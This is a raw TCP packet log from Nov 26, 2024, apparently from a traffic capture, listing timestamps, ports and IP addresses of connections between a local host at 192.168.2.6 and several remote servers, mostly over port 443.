Nov 26, 2024 16:31:15.689415932 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.689528942 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.715540886 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.715563059 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.715696096 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.715696096 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.715717077 CET	443	49725	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.715802908 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.717407942 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.717446089 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.717519045 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.717528105 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.717560053 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.717643976 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.721673012 CET	49725	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.728322983 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.728342056 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.728441000 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.728463888 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.728511095 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.732378960 CET	49724	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.760442972 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.760463953 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.760592937 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.760612965 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.760699987 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.778908014 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.791505098 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.791534901 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.791584969 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.791594982 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.791636944 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.791657925 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.812123060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.814141989 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.814152002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.814155102 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.814157963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.814162016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:15.829003096 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.829042912 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.829082966 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.829097033 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.829154968 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.859019995 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.859062910 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.859137058 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.859153032 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.859174967 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.859272957 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.869971991 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.869996071 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.870074987 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.870083094 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.870137930 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.892663002 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.892679930 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.892745018 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.892751932 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.892864943 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.901875973 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.901904106 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.902000904 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.902000904 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.902014971 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.902072906 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.934618950 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.934736967 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.934874058 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.934922934 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.934945107 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.935015917 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.935024023 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.935065031 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.940151930 CET	49730	443	192.168.2.6	20.223.36.55
Nov 26, 2024 16:31:15.940205097 CET	443	49730	20.223.36.55	192.168.2.6
Nov 26, 2024 16:31:15.978897095 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.978913069 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.978984118 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.978991032 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.979032993 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.981127024 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.981165886 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.981223106 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.981239080 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:15.981287003 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:15.981287003 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.000535965 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.000566959 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.000607967 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.000618935 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.000658989 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.000874043 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.001733065 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:16.001821995 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:16.005048037 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:16.005057096 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:16.005261898 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:16.016597986 CET	49729	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:16.035720110 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.035737038 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.035816908 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.035824060 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.035862923 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.055619955 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.055645943 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.055715084 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.055727005 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.055742979 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.055804014 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.057351112 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.057368994 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.057441950 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.057451010 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.057482004 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.059335947 CET	443	49729	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:16.077672005 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.077687979 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.077730894 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.077737093 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.077775955 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.082118988 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.082145929 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.082197905 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.082210064 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.082221985 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.082329035 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.097934008 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.097951889 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.098047018 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.098053932 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.098103046 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.108444929 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.108470917 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.108609915 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.108623028 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.108772993 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.119182110 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.119198084 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.119277954 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.119285107 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.119332075 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.136477947 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.136492968 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.136564970 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.136573076 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.136605024 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.136617899 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.158185959 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.158217907 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.158266068 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.158282995 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.158324003 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.158359051 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.169797897 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.169812918 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.169903040 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.169909954 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.169951916 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.180771112 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.180795908 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.181077957 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.181842089 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.181854010 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.187138081 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.187167883 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.187304020 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.187325001 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.187338114 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.187444925 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.192701101 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.192714930 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.192779064 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.192785025 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.192830086 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.210146904 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.210185051 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.210252047 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.210264921 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.210299969 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.210325003 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.214081049 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.214096069 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.214191914 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.214199066 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.214242935 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.234711885 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.234725952 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.234797001 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.234808922 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.234846115 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.236797094 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.236820936 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.236886978 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.236896038 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.236917019 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.236932993 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.256521940 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.256551981 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.256630898 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.256644011 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.256655931 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.256748915 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.272979975 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.273015976 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.273168087 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.274518967 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.274535894 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.277635098 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.277740955 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.277864933 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.277920961 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.289601088 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.289629936 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.289714098 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.289730072 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.289763927 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.289783955 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.296320915 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.296335936 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.296401978 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.296406984 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.296446085 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.309150934 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.309176922 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.309261084 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.309606075 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.309626102 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.310514927 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.310534000 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.310600042 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.310609102 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.310647011 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.313751936 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.313776970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.313839912 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.313848972 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.313890934 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.491849899 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.491867065 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.491944075 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.491954088 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.491997957 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.492093086 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.492130041 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.492177963 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.492196083 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.492214918 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.492305994 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.679701090 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.679719925 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.679856062 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.679869890 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.679917097 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.697850943 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.697866917 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.697983027 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.697990894 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.698039055 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.699285984 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.699322939 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.699405909 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.699425936 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.699446917 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.699526072 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.717597961 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.717614889 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.717715025 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.717724085 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.717770100 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.720446110 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.720474005 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.720571995 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.720587969 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.720684052 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.731518030 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.731539011 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.731699944 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.731720924 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.731760979 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.733230114 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.747013092 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.747045040 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.747199059 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.747211933 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.747323036 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.748209000 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.748224974 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.748302937 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.748308897 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.750133991 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.756787062 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.756802082 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.756923914 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.756928921 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.756973982 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.764890909 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.764909029 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.765012026 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.765032053 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.766127110 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.774483919 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.774497986 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.774583101 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.774590015 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.774632931 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.791600943 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.791615009 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.791722059 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.791728020 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.793064117 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.793090105 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.793154955 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.793170929 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.793188095 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.793210030 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.793210030 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.807286978 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.807301044 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.807439089 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.807445049 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.807488918 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.824182034 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.824203968 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.824371099 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.824383020 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.824434996 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.831913948 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.831928015 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.832029104 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:16.832036018 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:16.834760904 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008577108 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008596897 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008642912 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008657932 CET	49726	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008665085 CET	443	49726	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008672953 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:17.008732080 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:17.008748055 CET	443	49727	150.171.27.10	192.168.2.6
